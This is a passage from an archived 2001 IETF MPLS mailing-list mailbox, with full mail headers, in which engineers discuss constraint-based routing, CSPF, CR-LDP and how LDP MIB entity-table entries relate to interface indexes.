	by cisco.com (8.8.8/2.6/Cisco List Logging/8.8.8) with ESMTP id XAA02039;
	Tue, 16 Oct 2001 23:33:24 -0400 (EDT)
Date: Tue, 16 Oct 2001 23:43:08 -0400 (Eastern Daylight Time)
From: Ajay Simha <asimha@cisco.com>
To: k m a <technology2001@rediffmail.com>
cc: <mpls@UU.NET>
Subject: Re: some questions!!!
In-Reply-To: <20011017023229.25411.qmail@mailweb17.rediffmail.com>
Message-ID: <Pine.WNT.4.33.0110162336420.1468-100000@ASIMHA-HP.cisco.com>
X-X-Sender: asimha@uzura.cisco.com
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-mpls@UU.NET
Precedence: bulk

On 17 Oct 2001, k m a wrote:

kma:
kma:
kma:hi all i have the following questions ,if u could help me on these!!!
kma:1) what is Constraint Based Routing in general

Please read RFC 2702.

kma:i mean how is an MPLS router intelligent enough to perform it.

it performs CSPF (Dikstra that takes bandwidth/affinity into account)

kma: 2) how does MPLS perform resource reservation/constraint based routing

MPLS does not.  The headend could either use RSVP/CR-LDP to signal the
reservation and get labels in exchange if the reservation is honored.

kma: 3) is the MPLS label used in any way to accomplish the above
yes.

kma: 4) what is CR-LDP

Constrain Routing - Label Distribution Protocol

For more details read draft-ietf-mpls-cr-ldp-05.txt

kma: 5)is there some form of load balancing done in case a route becomes
kma:   unavailable
kma:    - if so, what is the overhead in terms of control messages etc..
kma:    - compare this with resource reservation/overhead etc.. in an 'IP
kma:      only' network( ie: no MPLS )

Load balancing is an implementation matter.  If a vendor wishes they can do
this.

Somehow your questions seem like a quiz/homework :-)

Regards,

-ajay
kma:
kma:thanx a lot
kma:k
kma:

-- 
Ajay Simha
MPLS Deployment Engineer
IOS Technology Division
(919) 392-3141

"Study as if you were to live forever
 Live as if you were to die tomorrow"

 - Mahatma Gandhi



From owner-mpls@UU.NET  Wed Oct 17 03:11:25 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id DAA15390
	for <mpls-archive@lists.ietf.org>; Wed, 17 Oct 2001 03:11:25 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQllce10474;
	Wed, 17 Oct 2001 07:10:16 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQllce27049
	for mpls-outgoing; Wed, 17 Oct 2001 07:10:02 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQllce27014
	for <mpls@mail-control.ash.ops.us.uu.net>; Wed, 17 Oct 2001 07:09:54 GMT
Received: from cmr2.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQllce02912
	for <mpls@UU.NET>; Wed, 17 Oct 2001 07:08:46 GMT
Received: from samrat.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: samrat.cisco.com [192.135.241.27])
	id QQllce06909
	for <mpls@UU.NET>; Wed, 17 Oct 2001 07:09:01 GMT
Received: from vsreenivpc ([192.135.239.196])
	by samrat.cisco.com (8.8.8/2.6/Cisco List Logging/8.8.8) with SMTP id MAA01823;
	Wed, 17 Oct 2001 12:38:12 +0530 (IST)
From: "Venu G.S" <venu.gorur@wipro.com>
To: "Joan Cucchiara" <jcucchia@CrescentNetworks.com>,
        "Srinivas T M" <srini_tm@yahoo.com>
Cc: <mpls@UU.NET>, <jcucchiara@CrescentNetworks.com>,
        <jluciani@CrescentNetworks.com>, <hans@ipunplugged.com>
Subject: RE: mplsLdpEntityTable
Date: Wed, 17 Oct 2001 12:37:14 +0530
Message-ID: <DHEFLFLANOHHAJKJLIBKIEMKCLAA.venu.gorur@wipro.com>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
In-Reply-To: <3BC32CE8.AC5B34AD@crescentnetworks.com>
Importance: Normal
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Joan,

    In the case of per platform label space, should the value of
    the object mplsLdpEntityConfGenIfIndxOrZero (which is the
    interface index in the label range table) be set to zero?
    Please clarify.

- Thanks
Venu.G.S

-----Original Message-----
From: owner-mpls@UU.NET [mailto:owner-mpls@UU.NET]On Behalf Of Joan
Cucchiara
Sent: Tuesday, October 09, 2001 10:29 PM
To: Srinivas T M
Cc: mpls@UU.NET; jcucchiara@CrescentNetworks.com;
jluciani@CrescentNetworks.com; hans@ipunplugged.com
Subject: Re: mplsLdpEntityTable




Srinivas T M wrote:
>
> Hi,
>    Can anybody clarify my below question.
>
> How Interface Index relates to entry in the
> mplsLdpEntityTable in case of per-platform label space
> , generic label type and in case of LDP Identifier is
> same for all interfaces ?

The entity entry/row is the configuration for a potential
session.  The Interface Index is in the label range tables
and the mplsLdpEntityLdpId and mplsLdpEntityIndex are used
to tie the entity entry with a label range entry.

In the case of the per-platform label space, this is also
the situation.  I'm not sure if this answers the question
you are asking though.


>
>  Can we use single entry in the entity table for
> multiple interfaces? If it is like that, then what
> happens if we change label Distribution Method or
> LabelRetentionMode  or any field in the entity table,
> on interface? draft-ietf-mpls-ldp-mib-08.txt is not
> telling how interface relates to entry in the entity
> table.

The front section of the MIB and the description for
mplsLdpEntityAdminStatus does describe that it
expects the user to administratively disable the entity
(and thus take down the session -- meaning the session
is removed) and then change whatever
fields and then administratively enable the entity
to create new session.

  -Joan

>
>   MplsLdpEntityEntry ::= SEQUENCE {
>      mplsLdpEntityLdpId        MplsLdpIdentifier,
>      mplsLdpEntityIndex        Unsigned32,
>      mplsLdpEntityProtocolVersion  Integer32,
>      mplsLdpEntityAdminStatus      INTEGER,
>      mplsLdpEntityOperStatus       INTEGER,
>      mplsLdpEntityTcpDscPort       Unsigned32,
>      mplsLdpEntityUdpDscPort       Unsigned32,
>      mplsLdpEntityMaxPduLength     Unsigned32,
>      mplsLdpEntityKeepAliveHoldTimer  Integer32,
>      mplsLdpEntityHelloHoldTimer      Integer32,
>      mplsLdpEntityInitSesThreshold    Integer32,
>      mplsLdpEntityLabelDistMethod     INTEGER,
>      mplsLdpEntityLabelRetentionMode  INTEGER,
>      mplsLdpEntityPVLMisTrapEnable    INTEGER,
>      mplsLdpEntityPVL                 Integer32,
>      mplsLdpEntityHopCountLimit       Integer32,
>      mplsLdpEntityTargPeer            TruthValue,
>      mplsLdpEntityTargPeerAddrType
> adressFamilyNumbers,
>      mplsLdpEntityTargPeerAddr      MplsLdpGenAddr,
>      mplsLdpEntityOptionalParameters
> MplsLdpLabelTypes,
>      mplsLdpEntityDiscontinuityTime   TimeStamp,
>      mplsLdpEntityStorType            StorageType,
>      mplsLdpEntityRowStatus            RowStatus
>      }
>
> Thanks in Advance,
> Srini.
>
> __________________________________________________
> Do You Yahoo!?
> NEW from Yahoo! GeoCities - quick and easy web site hosting, just
$8.95/month.
> http://geocities.yahoo.com/ps/info1




From owner-mpls@UU.NET  Wed Oct 17 04:50:50 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id EAA16425
	for <mpls-archive@lists.ietf.org>; Wed, 17 Oct 2001 04:50:50 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQllcl09713;
	Wed, 17 Oct 2001 08:50:20 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQllcl21821
	for mpls-outgoing; Wed, 17 Oct 2001 08:49:42 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQllcl21813
	for <mpls@mail-control.ash.ops.us.uu.net>; Wed, 17 Oct 2001 08:49:36 GMT
Received: from cmr1.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQllcl15984
	for <mpls@UU.NET>; Wed, 17 Oct 2001 08:48:43 GMT
Received: from multitech.co.in by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [202.54.39.98])
	id QQllcl04882
	for <mpls@UU.NET>; Wed, 17 Oct 2001 08:48:30 GMT
Received: from abhay (abhay [192.168.1.136])
	by multitech.co.in (8.11.0/8.11.0) with SMTP id f9H8muO14104;
	Wed, 17 Oct 2001 14:18:56 +0530
Message-ID: <002301c156e9$61c42de0$dff2fea9@abhay>
From: "abhay" <abhay@multitech.co.in>
To: "Naidu, Venkata" <Venkata.Naidu@Marconi.com>, <rajeshp@future.futsoft.com>,
        "'MPLS UUNET Mailing List'" <mpls@UU.NET>
References: <39469E08BD83D411A3D900204840EC5554C908@vie-msgusr-01.dc.fore.com>
Subject: Re: Constraint Based Routing
Date: Wed, 17 Oct 2001 14:24:46 +0530
MIME-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_0020_01C15717.79188940"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2615.200
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200
Sender: owner-mpls@UU.NET
Precedence: bulk

This is a multi-part message in MIME format.

------=_NextPart_000_0020_01C15717.79188940
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Hi Naidu,Rajesh and others concerned,
             =20
            1) The reliability of CSPF of always giving true  Constraint =
Based Path is less as situations in the network may change
                we cannot always guarantee that a CSPF actual path setup =
is successful.

                For example a CPSF path for  setup through colored links =
assures the signaling protocol,that such links exist in the              =
       domain for which there can be path setup.Hence it can also be =
used as a guessing tool.
           =20
            2) We still need to include the constraint parameters in the =
signaling protocols (especially bandwidth reservation).

            3)CSPF can give out information such as whether a setup of a =
path it has just output,will pre-empt other paths with=20
               lower priority.This being the case in a network full of =
important paths,this CSPF path may not be setup so as to=20
               avoid pre-emption.
         =20
            Someone agrees CSPF as a guess tool for a routers ?

            Thanks,
            Abhay

           =20
   =20
----- Original Message -----=20
From: Naidu, Venkata <Venkata.Naidu@Marconi.com>
To: <rajeshp@future.futsoft.com>; 'MPLS UUNET Mailing List' =
<mpls@UU.NET>
Sent: Tuesday, October 16, 2001 9:04 PM
Subject: RE: Constraint Based Routing


> Rajesh:
>=20
> -> Can anyone explain me what exactly is "Constraint-Based=20
> -> Routing" (CBR) ?
>=20
>    You will find more info if you search the web (or list achieves).
>    But in a crude way, if you type source and destination address=20
>    in www.mapquest.com you get different paths=20
>        - shortest path
>        - fastest path
>        - avoid highways etc etc :)
>    The same fundamentals work out here in routing/switching IP
>    datagrams. You will be given certain link/node/path constraints
>    in the topology and you need to optimize and get the "best"
>    path to route/switch.
> =20
> -> Please correct me if I am wrong. I feel that RSVP-TE,=20
> -> CR-LDP, CSPF (the
> -> protocols like RSVP, LDP and OSPF) having extension for=20
> -> Traffice-Engineering
> -> can synomously used for "CBR" since the constraint are=20
> -> specified while
> -> setting up the LSP.
> ->
> -> Also, please give a list of protocols which needs to be=20
> -> extended for "CBR".
>=20
>    This is the place where I am little bit inconvenient. As an
>    evolving beneficial technology, MPLS didn't extend any of the
>    existing routing protocols (OSPF and ISIS) to do CSPF.=20
>    If a border conversion router running OSPF and ISIS which are=20
>    distributing topologies and helping signaling protocols to=20
>    find out "Traffic engineered" paths, Can you think of how=20
>    many (C)SPF algo's the LSR running? In any case, RFCs 2386 and
>    2676 will be some help for you.
>   =20
>    Routing protocols, OSPF & ISIS are extended (still extending)
>    to include traffic engineering information. Signaling protocols,=20
>    RSVP-TE and CR-LDP, are used to setup constrained paths.
>    Apart from this, you should implement your own topology
>    data base and CSPF. (no standards are required for this)
>  =20
>    I request Kireeti to include an informational appendix on
>    CSPF algo, in the forth coming draft-kompella-te-pathcomp-00
>    to the benefit of the community (just like appendix B&C in
>    RFC 2676 :) - if he doesn't mind!
>=20
> --Venkata Naidu

------=_NextPart_000_0020_01C15717.79188940
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.2614.3500" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY>
<DIV><FONT face=3DArial size=3D2>Hi Naidu,Rajesh and others =
concerned,</FONT></DIV>
<DIV><FONT face=3DArial=20
size=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;</FONT></DIV>
<DIV><FONT face=3DArial=20
size=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p; 1) The=20
reliability of CSPF of always giving true&nbsp; Constraint Based Path is =
less as=20
situations in the network may change</FONT></DIV>
<DIV><FONT face=3DArial=20
size=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;=20
we cannot always guarantee that a CSPF actual path setup is=20
successful.</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;=20
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; For example a CPSF&nbsp;path for  =
setup=20
through colored links assures the signaling protocol,that such links =
exist in=20
the &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; =
&nbsp;&nbsp;&nbsp;=20
&nbsp;&nbsp;&nbsp; domain</FONT><FONT face=3DArial size=3D2> for which =
there can be=20
path setup.Hence it can also be used as a guessing tool.</FONT></DIV>
<DIV><FONT face=3DArial=20
size=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;</FONT></DIV>
<DIV><FONT face=3DArial=20
size=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p; 2) We=20
still need to include the constraint parameters in the signaling =
protocols=20
(especially bandwidth reservation).</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;=20
&nbsp;&nbsp;&nbsp; 3)CSPF can give out information such as whether a =
setup of a=20
path it has just output,will pre-empt other paths with </FONT></DIV>
<DIV><FONT face=3DArial=20
size=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;lower=20
priority.This being the case in a network full of important paths,this =
CSPF path=20
may not be setup so as to </FONT></DIV>
<DIV><FONT face=3DArial=20
size=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;avoid=20
pre-emption.</FONT></DIV>
<DIV><FONT face=3DArial=20
size=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;=20
&nbsp;&nbsp;&nbsp; Someone agrees CSPF as a guess tool for a routers=20
?</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;=20
&nbsp;&nbsp;&nbsp; Thanks,</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;=20
&nbsp;&nbsp;&nbsp; Abhay</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial=20
size=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>&nbsp;&nbsp;&nbsp; </FONT></DIV>
<DIV><FONT face=3DArial size=3D2>----- Original Message ----- </FONT>
<DIV><FONT face=3DArial size=3D2>From: Naidu, Venkata &lt;<A=20
href=3D"mailto:Venkata.Naidu@Marconi.com">Venkata.Naidu@Marconi.com</A>&g=
t;</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>To: &lt;<A=20
href=3D"mailto:rajeshp@future.futsoft.com">rajeshp@future.futsoft.com</A>=
&gt;;=20
'MPLS UUNET Mailing List' &lt;<A=20
href=3D"mailto:mpls@UU.NET">mpls@UU.NET</A>&gt;</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>Sent: Tuesday, October 16, 2001 9:04=20
PM</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>Subject: RE: Constraint Based=20
Routing</FONT></DIV></DIV>
<DIV><BR></DIV><FONT face=3DArial size=3D2>&gt; Rajesh:<BR>&gt; <BR>&gt; =
-&gt; Can=20
anyone explain me what exactly is "Constraint-Based <BR>&gt; -&gt; =
Routing"=20
(CBR) ?<BR>&gt; <BR>&gt; &nbsp;&nbsp; You will find more info if you =
search the=20
web (or list achieves).<BR>&gt; &nbsp;&nbsp; But in a crude way, if you =
type=20
source and destination address <BR>&gt; &nbsp;&nbsp; in <A=20
href=3D"http://www.mapquest.com">www.mapquest.com</A> you get different =
paths=20
<BR>&gt; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; - shortest path<BR>&gt;=20
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; - fastest path<BR>&gt;=20
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; - avoid highways etc etc :)<BR>&gt; =

&nbsp;&nbsp; The same fundamentals work out here in routing/switching =
IP<BR>&gt;=20
&nbsp;&nbsp; datagrams. You will be given certain link/node/path=20
constraints<BR>&gt; &nbsp;&nbsp; in the topology and you need to =
optimize and=20
get the "best"<BR>&gt; &nbsp;&nbsp; path to route/switch.<BR>&gt; =
&nbsp;<BR>&gt;=20
-&gt; Please correct me if I am wrong. I feel that RSVP-TE, <BR>&gt; =
-&gt;=20
CR-LDP, CSPF (the<BR>&gt; -&gt; protocols like RSVP, LDP and OSPF) =
having=20
extension for <BR>&gt; -&gt; Traffice-Engineering<BR>&gt; -&gt; can =
synomously=20
used for "CBR" since the constraint are <BR>&gt; -&gt; specified =
while<BR>&gt;=20
-&gt; setting up the LSP.<BR>&gt; -&gt;<BR>&gt; -&gt; Also, please give =
a list=20
of protocols which needs to be <BR>&gt; -&gt; extended for =
"CBR".<BR>&gt;=20
<BR>&gt; &nbsp;&nbsp; This is the place where I am little bit =
inconvenient. As=20
an<BR>&gt; &nbsp;&nbsp; evolving beneficial technology, MPLS didn't =
extend any=20
of the<BR>&gt; &nbsp;&nbsp; existing routing protocols (OSPF and ISIS) =
to do=20
CSPF. <BR>&gt; &nbsp;&nbsp; If a border conversion router running OSPF =
and ISIS=20
which are <BR>&gt; &nbsp;&nbsp; distributing topologies and helping =
signaling=20
protocols to <BR>&gt; &nbsp;&nbsp; find out "Traffic engineered" paths, =
Can you=20
think of how <BR>&gt; &nbsp;&nbsp; many (C)SPF algo's the LSR running? =
In any=20
case, RFCs 2386 and<BR>&gt; &nbsp;&nbsp; 2676 will be some help for =
you.<BR>&gt;=20
&nbsp;&nbsp; <BR>&gt; &nbsp;&nbsp; Routing protocols, OSPF &amp; ISIS =
are=20
extended (still extending)<BR>&gt; &nbsp;&nbsp; to include traffic =
engineering=20
information. Signaling protocols, <BR>&gt; &nbsp;&nbsp; RSVP-TE and =
CR-LDP, are=20
used to setup constrained paths.<BR>&gt; &nbsp;&nbsp; Apart from this, =
you=20
should implement your own topology<BR>&gt; &nbsp;&nbsp; data base and =
CSPF. (no=20
standards are required for this)<BR>&gt; &nbsp; <BR>&gt; &nbsp;&nbsp; I =
request=20
Kireeti to include an informational appendix on<BR>&gt; &nbsp;&nbsp; =
CSPF algo,=20
in the forth coming draft-kompella-te-pathcomp-00<BR>&gt; &nbsp;&nbsp; =
to the=20
benefit of the community (just like appendix B&amp;C in<BR>&gt; =
&nbsp;&nbsp; RFC=20
2676 :) - if he doesn't mind!<BR>&gt; <BR>&gt; --Venkata=20
Naidu</FONT></BODY></HTML>

------=_NextPart_000_0020_01C15717.79188940--



From owner-mpls@UU.NET  Wed Oct 17 10:34:51 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA26096
	for <mpls-archive@lists.ietf.org>; Wed, 17 Oct 2001 10:34:51 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlldi11499;
	Wed, 17 Oct 2001 14:30:29 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlldh05642
	for mpls-outgoing; Wed, 17 Oct 2001 14:29:42 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQlldh05637
	for <mpls@mail-control.ash.ops.us.uu.net>; Wed, 17 Oct 2001 14:29:41 GMT
Received: from cmr2.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQlldh27341
	for <mpls@uu.net>; Wed, 17 Oct 2001 14:29:02 GMT
Received: from funnel.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: funnel.cisco.com [161.44.168.79])
	id QQlldh08848
	for <mpls@uu.net>; Wed, 17 Oct 2001 14:29:18 GMT
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.134.50]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id KAA15212 for <mpls@uu.net>; Wed, 17 Oct 2001 10:29:01 -0400 (EDT)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id KAA27485 for mpls@uu.net; Wed, 17 Oct 2001 10:29:01 -0400 (EDT)
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQlldh05578
	for <mpls@mail-control.ash.ops.us.uu.net>; Wed, 17 Oct 2001 14:28:12 GMT
Received: from cmr2.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQlldh13188
	for <mpls@UU.NET>; Wed, 17 Oct 2001 14:27:53 GMT
Received: from hawk.CrescentNetworks.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: hawk.crescentnetworks.com [66.105.92.144])
	id QQlldh06665
	for <mpls@UU.NET>; Wed, 17 Oct 2001 14:28:09 GMT
Received: from crescentnetworks.com (jcucchiara.in.crescentnets.com [192.168.29.132])
	by hawk.CrescentNetworks.com (8.9.3/8.9.3) with ESMTP id KAA06569;
	Wed, 17 Oct 2001 10:27:04 -0400 (EDT)
Message-ID: <3BCD95A7.8243F8F9@crescentnetworks.com>
Date: Wed, 17 Oct 2001 10:28:55 -0400
From: Joan Cucchiara <jcucchia@CrescentNetworks.com>
Organization: Crescent Networks
X-Mailer: Mozilla 4.72 [en] (WinNT; U)
X-Accept-Language: en
MIME-Version: 1.0
To: "Venu G.S" <venu.gorur@wipro.com>
CC: Srinivas T M <srini_tm@yahoo.com>, mpls@UU.NET,
        jcucchiara@CrescentNetworks.com, jluciani@CrescentNetworks.com,
        hans@ipunplugged.com
Subject: Re: mplsLdpEntityTable
References: <DHEFLFLANOHHAJKJLIBKIEMKCLAA.venu.gorur@wipro.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit


Hi Venu,

"Venu G.S" wrote:
> 
> Joan,
> 
>     In the case of per platform label space, should the value of
>     the object mplsLdpEntityConfGenIfIndxOrZero (which is the
>     interface index in the label range table) be set to zero?
>     Please clarify.

In general setting this object to a value of zero should be fine.

If at the time the entry is created the ifIndex is known or can 
be assigned, then that is what the value should be.  

On the other hand, if the implementation doesn't allocate ifIndex
values until later (for example, ifIndex is allocated when the 
session is established) then the ifIndex value is assigned later,
after the row has been created.  In this case, the 
initial value would be zero, but would then change to the value of 
the ifIndex by the agent.

  -Joan

> 
> - Thanks
> Venu.G.S
> 
> -----Original Message-----
> From: owner-mpls@UU.NET [mailto:owner-mpls@UU.NET]On Behalf Of Joan
> Cucchiara
> Sent: Tuesday, October 09, 2001 10:29 PM
> To: Srinivas T M
> Cc: mpls@UU.NET; jcucchiara@CrescentNetworks.com;
> jluciani@CrescentNetworks.com; hans@ipunplugged.com
> Subject: Re: mplsLdpEntityTable
> 
> Srinivas T M wrote:
> >
> > Hi,
> >    Can anybody clarify my below question.
> >
> > How Interface Index relates to entry in the
> > mplsLdpEntityTable in case of per-platform label space
> > , generic label type and in case of LDP Identifier is
> > same for all interfaces ?
> 
> The entity entry/row is the configuration for a potential
> session.  The Interface Index is in the label range tables
> and the mplsLdpEntityLdpId and mplsLdpEntityIndex are used
> to tie the entity entry with a label range entry.
> 
> In the case of the per-platform label space, this is also
> the situation.  I'm not sure if this answers the question
> you are asking though.
> 
> >
> >  Can we use single entry in the entity table for
> > multiple interfaces? If it is like that, then what
> > happens if we change label Distribution Method or
> > LabelRetentionMode  or any field in the entity table,
> > on interface? draft-ietf-mpls-ldp-mib-08.txt is not
> > telling how interface relates to entry in the entity
> > table.
> 
> The front section of the MIB and the description for
> mplsLdpEntityAdminStatus does describe that it
> expects the user to administratively disable the entity
> (and thus take down the session -- meaning the session
> is removed) and then change whatever
> fields and then administratively enable the entity
> to create new session.
> 
>   -Joan
> 
> >
> >   MplsLdpEntityEntry ::= SEQUENCE {
> >      mplsLdpEntityLdpId        MplsLdpIdentifier,
> >      mplsLdpEntityIndex        Unsigned32,
> >      mplsLdpEntityProtocolVersion  Integer32,
> >      mplsLdpEntityAdminStatus      INTEGER,
> >      mplsLdpEntityOperStatus       INTEGER,
> >      mplsLdpEntityTcpDscPort       Unsigned32,
> >      mplsLdpEntityUdpDscPort       Unsigned32,
> >      mplsLdpEntityMaxPduLength     Unsigned32,
> >      mplsLdpEntityKeepAliveHoldTimer  Integer32,
> >      mplsLdpEntityHelloHoldTimer      Integer32,
> >      mplsLdpEntityInitSesThreshold    Integer32,
> >      mplsLdpEntityLabelDistMethod     INTEGER,
> >      mplsLdpEntityLabelRetentionMode  INTEGER,
> >      mplsLdpEntityPVLMisTrapEnable    INTEGER,
> >      mplsLdpEntityPVL                 Integer32,
> >      mplsLdpEntityHopCountLimit       Integer32,
> >      mplsLdpEntityTargPeer            TruthValue,
> >      mplsLdpEntityTargPeerAddrType
> > adressFamilyNumbers,
> >      mplsLdpEntityTargPeerAddr      MplsLdpGenAddr,
> >      mplsLdpEntityOptionalParameters
> > MplsLdpLabelTypes,
> >      mplsLdpEntityDiscontinuityTime   TimeStamp,
> >      mplsLdpEntityStorType            StorageType,
> >      mplsLdpEntityRowStatus            RowStatus
> >      }
> >
> > Thanks in Advance,
> > Srini.
> >
> > __________________________________________________
> > Do You Yahoo!?
> > NEW from Yahoo! GeoCities - quick and easy web site hosting, just
> $8.95/month.
> > http://geocities.yahoo.com/ps/info1



From owner-mpls@UU.NET  Wed Oct 17 13:44:22 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA01286
	for <mpls-archive@lists.ietf.org>; Wed, 17 Oct 2001 13:44:22 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlldu13893;
	Wed, 17 Oct 2001 17:41:50 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlldu18741
	for mpls-outgoing; Wed, 17 Oct 2001 17:41:15 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQlldu18707
	for <mpls@mail-control.ash.ops.us.uu.net>; Wed, 17 Oct 2001 17:41:05 GMT
Received: from cmr0.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
